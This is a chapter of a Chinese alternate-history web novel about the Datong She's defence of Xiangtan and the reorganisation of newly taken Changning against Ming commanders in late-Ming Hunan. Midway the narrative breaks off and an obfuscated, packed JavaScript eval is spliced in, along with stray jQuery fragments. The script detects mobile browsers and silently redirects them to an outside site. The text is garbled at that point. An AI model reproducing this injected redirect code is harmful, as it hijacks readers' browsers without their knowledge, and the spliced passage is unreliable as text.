“潘曾纮疯了么？”


    周怀名登上湘潭南城墙，看着湘江南岸高峰塔下正在迅速铺开的营寨，不由地万分惊诧。


    潘部进入湘潭后，凭借人数优势，花费五日攻破昭山炮台，便尝试过夺取临近善化县境的兴马洲、峩洲。


    但橘洲以下湘江的控制权不在明军手中。


    有船队支援，两洲又都建有棱堡，兼之湘江并非小江小河，无法强渡、堵塞河道或是建设临时桥梁，明军多次进攻均以失败告终。


    无法从兴马洲、峩洲过河，潘部便南下至万楼对岸的杨雀港，企图从此地过河，却仍旧失败。


    周怀名本以为潘部会退回长沙，却不想潘部竟在高峰塔下与昭山北面的昭霞铺安营扎寨，做足了死磕湘潭的架势。


    有湘江相阻，潘部几乎没有夺回湘潭的可能，但潘部兵马众多，且骑兵不少，大同社留守湘潭的部队也无力驱逐，甚至不能与之正面野战。


    “潘曾纮当真疯了！”周怀名气恼却也无可奈何，“不从岳州调船南下，先夺橘洲、水陆洲，破牛形山、天马山炮台，跑来湘潭能有何作为！”


    “潘曾纮也是无奈之举。”


    来湘潭负责民政事务的唐衡慢步走来。


    “打妙高峰，明军死伤千余。夺昭山，也损失四五百。妙高峰、昭山好歹在陆上，但橘洲等或在江里、或在对岸，明军要死多少人才能攻下？


    “潘曾纮号称三万大军，实则只杨冯两部三千人，以及万余勇壮，总计不过万五之数。拔除几个据点，即丧失近半勇壮，以后的仗还如何打？


    “何况清除善化、长沙两县棱堡、炮台，算得了甚么功劳！打入湘潭，才勉强算是做了点实事。我社取了常宁，潘曾纮如何也要给崇祯交代。”


    周怀名打量唐衡几眼，没曾想唐廷瀚身边一个下人也有这等见解，不免刮目相看。


    察觉周怀名赞赏的目光，唐衡笑道，“周理事不要误会，这番话是杨社长说的。他下了令，让我等谨守河西，不要与潘曾纮相争，作无谓牺牲。”


    周怀名一早便是这样打算，但潘部在眼皮子底下闹腾，总是引人心烦。


    他本以为本部会发来援兵。


    他倒不会与潘曾纮正面对决，但至少可以骚扰明军辎重部队，好好恶心一番潘曾纮，让他早日退走。


    他因而有些失望，“就这么放任潘曾纮祸害河东百姓？”


    “不清除我社长沙据点，潘曾纮不会强攻。”唐衡道，“至于河东百姓，此前我们便组织他们过河，那些太过固执的……”


    唐衡摇了摇头，叹道，“我们该做的都做了，不可能白白牺牲我们的将士去救他们，更不可能为了他们败坏湘潭局势。”


    气氛有些沉重，唐衡转了话锋，换了话题，“社里倒也没让我们孤军奋战。社里会派赵营长率护乡队一营及乡勇队一团驻守善化观音港，居中救援。”


    周怀名顿时喜道，“如此甚好！有得柏这三四千人，兵力便充裕许多，潘曾纮绝无可能冲破湘江，我们还有余力过河骚扰。


    “此外，之前我一直担忧潘部从北边渡江，从西面攻打天马山、牛形山炮台。有了这支部队，我反倒希望潘曾纮渡江了！”


    高兴一阵，周怀名却意识到一丝不对劲。


    社里派来赵得柏，定是希望湘潭驻守部队与新来部队能配合默契。


    他向来保守，赵得柏也不是太有主见的人，可想而知做出这一决定的是命令他谨守河西的杨文煊，而非刘今钰。


    他想起了关于刘今钰的种种谣言。


    有说她病重的，有说她飞升的，还有人说她与杨文煊成亲后，准备做个相夫教子的贤妻良母，是以不再抛头露面了。


    他从未信过这些谣言，但刘今钰至今已三月不曾露面。


    便是他们这些知晓刘今钰神仙身份的社里老人，也难免有些不安。


    刘社长究竟去了哪里？


    这样的疑问同样出现在邓大刀脑中。


    他在常宁县衙亲民堂，从郑子谦手中接过杨文煊签发的命令，不禁思维发散，许久才被郑子谦的一声咳嗽拉回现实。


    “邓理事，杨社长命你返回本部接手宝庆防务。”郑子谦道，“如今各将俱外派，宝庆正缺一员老成持重的大将。”


    邓大刀苦笑道，“子谦，你我之间何必说这些官话。我晓得我夺取常宁之举不妥，何况本部还有人嚼舌根……”


    他恭恭敬敬地收起文书，释然或者说接受了现实，面色平静地说道，“子谦，不管你信不信，我并无旁的心思。


    “胡楚一起义夺城，我一时也不知该怎么做。只是诸位弟兄都认为不能坐视胡楚一被杀，时间紧迫，我与王老……”


    郑子谦摇摇头，打断他道，“邓理事，此事本部尚在调查，绝不会冤枉任何一人。由你接手宝庆防务，乃因局势变化，黎靖参将苏梦仪已至靖州。”


    “这是甚么时候的事！”邓大刀惊道，“苏梦仪不过数百人，也敢入扰宝庆！”


    “潘曾纮攻入湘潭时，苏部应已离开黎平。”郑子谦回道，“参将营额兵不过三百，但苏梦仪募集民壮乡勇及五开等卫军士两千，不可小觑。”


    顿了顿，郑子谦眼中掠过几丝迟疑，还是决定将心里话说了出来，“社长常说论迹不论心。无论你心底如何想的，只要你行事磊落，必不会有事。”


    邓大刀轻轻点了点头，拱手告辞，说要去收拾行李。


    郑子谦看着邓大刀略有些落寞的身影出了门口，不免有些恍惚。


    但返回本部，对于邓大刀而言并非是坏事。


    在地方确实自由一些，可社里也有担心邓大刀以本部理事的权势在地方说一不二，成了土皇帝。


    回了本部，虽受限制，但权势更重，能够影响全社，才真正算是本部理事。


    邓大刀私人行李并不多，当天即坐船从宜水去往湘江。郑子谦与常宁的员役见了面，便将本部对常宁支社的安排说了。


    “常宁新取，首在稳固。应速设公署、农联，丈田编户，均田放奴，清肃乡里，操练乡勇，沿湘江、宜水、潭水、舂水布防。


    “先在柏坊、松柏、庙前、衡头建堡，各处平靖后再于桂阳桥市建堡，谨防明军入境侵扰、瑶人下山为乱，贼匪趁机劫掠。


    “耒阳、安仁、酃县等地，宜常宁稳固后再图救民，郴州、桂阳州等地，不宜深入，控制桥市等重要道路、关卡即可。”


    旁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880044|159702||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    听的胡楚一当即起身，情绪稍有些激动，“郑理事，在下晓得郴桂归南赣巡抚管，所以最好不入境，免得招来那鸟官。


    “但既然社里预备夺取桥市等地，已入了郴桂，又何必自束手脚。不若夺了郴桂州县，免得失了先机，反叫南赣贼兵打来！”


    郑子谦沉默，众人都看向胡楚一，低声议论。


    胡楚一却不以为意，脑袋反倒抬得更高了，与郑子谦对视，“若是社里舍不得死人，又或是郑理事怕社里责怪，这事不如交给在下！”


    众人噤声，时而看看郑子谦，时而看看胡楚一。


    郑子谦却不以为怵，露出一个微笑，“胡爷果真是侠义之士，在下佩服。既然胡爷一心想去解救郴桂百姓，在下倒有一件重要之事交与你。


    “若是做好了，应能拯救两州百姓，不知胡爷敢不敢接？”


    胡楚一斗志昂然，“我有甚么不敢接的！郑理事，尽管说！”


    郑子谦不着急说，只继续笑道，“胡爷可要想清楚了，这是我社机密，若是胡爷知晓此事，却又不愿意了，我社只能委屈胡爷禁足一段时间了。”


    “机密？”胡楚一更为激动，拍着胸膛保障道，“郑理事，在下最不怕事，对大同社也忠心耿耿，放心交给我！”


    “胡爷的一腔热血在下与本部都是知道的。还请胡爷过来，在下附耳告诉你，此事不能传入六耳……”


    郑子谦话音未落，胡楚一便快步走至郑子谦身侧。


    在场众人皆好奇不已，可又不敢表现得太过明显，纷纷低头或是偏头，却又总不经意间用余光看着郑胡二人。


    郑子谦对胡楚一耳语几句，后者脸色变了又变。


    郑子谦说罢，胡楚一好一会才回过神来，有些不敢置信地说道，“当真？”


    郑子谦笑而不语，胡楚一一时间有些为难。


    十几道目光过来，胡楚一的脸色红了又白，白了又红，喉头上上下下。


    片刻，喉头猛地一沉，他面朝郑子谦说道，“老子……我说到做到！郑理事看得起在下，在下绝不会让本部和郑理事失望！”


    郑子谦赞道，“好！胡爷不愧是豪杰人物！且等几日，社里会派人来与胡爷一同出发。任务完成前，胡爷定要保密。”


    胡楚一又恢复了斗志，拍着胸膛保证，待他回了座位，眉目间却不时浮现出些许悔色。


    此后郑子谦说话再无人打断，他将丈田、编户等工作一件一件安排完，正要宣布散会，周针眼与艾胖子却一前一后走了进来。


    “郑营长，大事不好！”


    艾胖子一声高呼，会场气氛顿时降至冰点。


    郑子谦神色不变，语气却有些僵硬，“艾副营长，出了何事？”


    艾胖子嚷道，“有明军乘船到了松柏市，大肆劫掠，杀了不少人，好多百姓往县城逃来！”


    “伪明果然一帮兵匪！”


    好几人开始大肆辱骂明军，郑子谦却拍拍桌子，看着艾胖子皱眉道，“艾副营长，哪来的明军？衡州的明军敢出城了？”


    “胖子，连话都不会说！”周针眼推开艾胖子，大声道，“是长沙来的明军，举着好大一面四方旗，上写‘雷’字，定是那叫雷时声的副将！”